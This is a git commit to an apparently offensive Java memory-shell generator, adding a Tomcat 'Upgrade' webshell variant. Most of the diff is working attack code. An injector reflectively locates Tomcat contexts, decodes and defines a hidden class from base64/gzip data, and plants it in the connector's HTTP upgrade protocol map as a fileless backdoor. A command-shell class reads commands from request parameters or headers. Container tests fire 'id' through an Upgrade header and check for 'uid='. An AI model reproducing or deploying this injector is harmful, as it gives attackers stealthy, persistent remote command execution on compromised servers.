feat: support tomcat upgrade

This commit is contained in:
ReaJason
2025-12-08 01:43:41 +08:00
parent ccc6bd0c91
commit 2ac2c845de
18 changed files with 418 additions and 1 deletions
@@ -132,6 +132,7 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
@@ -15,6 +15,7 @@ public class ShellType {
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
public static final String VALVE = "Valve";
public static final String UPGRADE = "Upgrade";
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
@@ -0,0 +1,222 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class TomcatUpgradeInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public TomcatUpgradeInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public void inject(Object context, Object shell) throws Exception {
Object engine = getFieldValue(getFieldValue(context, "parent"), "parent");
Object service = getFieldValue(engine, "service");
Object connector = ((Object[]) getFieldValue(service, "connectors"))[0];
Object protocolHandler = getFieldValue(connector, "protocolHandler");
Map<String, Object> httpUpgradeProtocols = ((Map<String, Object>) getFieldValue(protocolHandler, "httpUpgradeProtocols"));
if (httpUpgradeProtocols.containsKey(getClassName())) {
return;
}
httpUpgradeProtocols.put(getClassName(), shell);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -46,6 +46,7 @@ public class Tomcat extends AbstractServer {
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
.build();
}
}
@@ -0,0 +1,94 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.Request;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class CommandUpgrade implements UpgradeProtocol {
public static String paramName;
@Override
public boolean accept(Request req) {
org.apache.catalina.connector.Request request = ((org.apache.catalina.connector.Request) req.getNote(1));
Response response = request.getResponse();
try {
String p = request.getParameter(paramName);
if (p == null || p.isEmpty()) {
p = request.getHeader(paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
inputStream.close();
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return true;
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@Override
public String getHttpUpgradeName(boolean isSSLEnabled) {
return "";
}
@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}
@Override
public String getAlpnName() {
return "";
}
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) {
return null;
}
}
@@ -146,4 +146,8 @@ public class CommonUtil {
+ "." + getRandomString(5)
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
}
public static String getSimpleName(String injectorClassName) {
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
}
}
@@ -342,4 +342,8 @@ public class Request implements HttpServletRequest {
public DispatcherType getDispatcherType() {
return null;
}
public Response getResponse() {
return null;
}
}
@@ -0,0 +1,8 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface Adapter {
}
@@ -0,0 +1,8 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface Processor {
}
@@ -0,0 +1,11 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class Request {
public Object getNote(int id) {
return null;
}
}
@@ -0,0 +1,22 @@
package org.apache.coyote;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface UpgradeProtocol {
public String getHttpUpgradeName(boolean isSSLEnabled);
public byte[] getAlpnIdentifier();
public String getAlpnName();
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter);
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request);
public boolean accept(Request request);
}
@@ -0,0 +1,8 @@
package org.apache.coyote.http11.upgrade;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface InternalHttpUpgradeHandler {
}
@@ -0,0 +1,8 @@
package org.apache.tomcat.util.net;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class SocketWrapperBase<E> {
}
@@ -14,6 +14,7 @@ import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.*;
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
import com.reajason.javaweb.suo5.Suo5Manager;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -206,7 +207,27 @@ public class ShellAssertion {
godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
break;
case Command:
commandIsOk(shellUrl, shellType, ((CommandConfig) generateResult.getShellToolConfig()).getParamName(), "id");
String paramName = ((CommandConfig) generateResult.getShellToolConfig()).getParamName();
if (ShellType.UPGRADE.equals(shellType)) {
String shellClassName = generateResult.getShellClassName();
OkHttpClient okHttpClient = new OkHttpClient();
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(shellUrl))
.newBuilder()
.addQueryParameter(paramName, "id")
.build();
Request request = new Request.Builder()
.header("Connection", "Upgrade")
.header("Upgrade", shellClassName)
.url(url)
.get().build();
try (Response response = okHttpClient.newCall(request).execute()) {
String res = response.body().string();
System.out.println(res.trim());
assertTrue(res.contains("uid="));
}
} else {
commandIsOk(shellUrl, shellType, paramName, "id");
}
break;
case Behinder:
behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
@@ -60,6 +60,7 @@ public class Tomcat10ContainerTest {
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.UPGRADE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
@@ -61,6 +61,7 @@ public class Tomcat11ContainerTest {
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.UPGRADE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
@@ -61,6 +61,7 @@ public class Tomcat8ContainerTest {
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.WEBSOCKET,
ShellType.UPGRADE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
List<Packers> testPackers = List.of(Packers.BigInteger, Packers.AgentJarWithJREAttacher);
@@ -59,6 +59,7 @@ public class Tomcat9ContainerTest {
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.WEBSOCKET,
ShellType.UPGRADE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);